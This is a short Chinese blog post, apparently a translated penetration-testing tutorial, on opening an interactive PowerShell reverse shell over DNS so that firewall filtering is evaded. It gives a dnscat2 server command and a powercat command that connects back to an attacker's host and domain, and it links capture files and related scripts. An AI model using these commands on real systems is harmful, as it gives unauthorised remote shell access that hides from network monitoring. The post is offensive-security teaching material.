摘自:http://www.freebuf.com/sectool/90616.html
欢迎来到一周PowerShell脚本的第五天,今天我们将讨论使用ICMP和DNS的交互式PowerShell脚本。
通常情况下防火墙都不会主动过滤ICMP和DNS数据包,这就让我们可以使用它们。下面就让我们来看看具体怎么利用吧。
对于DNS来说,我们需要使用Ron Bowes的dnscat2(https://github.com/iagox86/dnscat2)作为服务端。当然如果目标机器是Windows系统,那么也可以使用powercat(https://github.com/besimorhino/powercat)。我们之前讨论过使用powercat了,那么下面来看看如何使用dnscat2。
首先,使用如下命令开启dnscat2服务端:
root@Kali:~/Desktop# ruby ./dnscat2.rb reversedns-shell.org
然后使用如下命令返回连接:
PS C:> powercat -c 192.168.254.226 -p 53 -dns reversedns-shell.org
效果如下:
很好!我们得到了一个通过DNS信道传输的交互式PowerShell脚本。
这里如果我们查看Wireshark的话不会发现有什么问题:
(注:译者已将数据包搬运到国内云盘:链接:http://pan.baidu.com/s/1c1dBnCO 密码:59oy)
上面的不是PowerShell脚本对吧,其实Nishang有一些使用DNS的脚本可以执行命令、脚本和msf的shellcode利用,但它们都不是交互式的脚本,所以这里就不提了,如果感兴趣可以查看之前的博文http://www.labofapenetrationtester.com/2015/01/fun-with-dns-txt-records-and-powershell.html。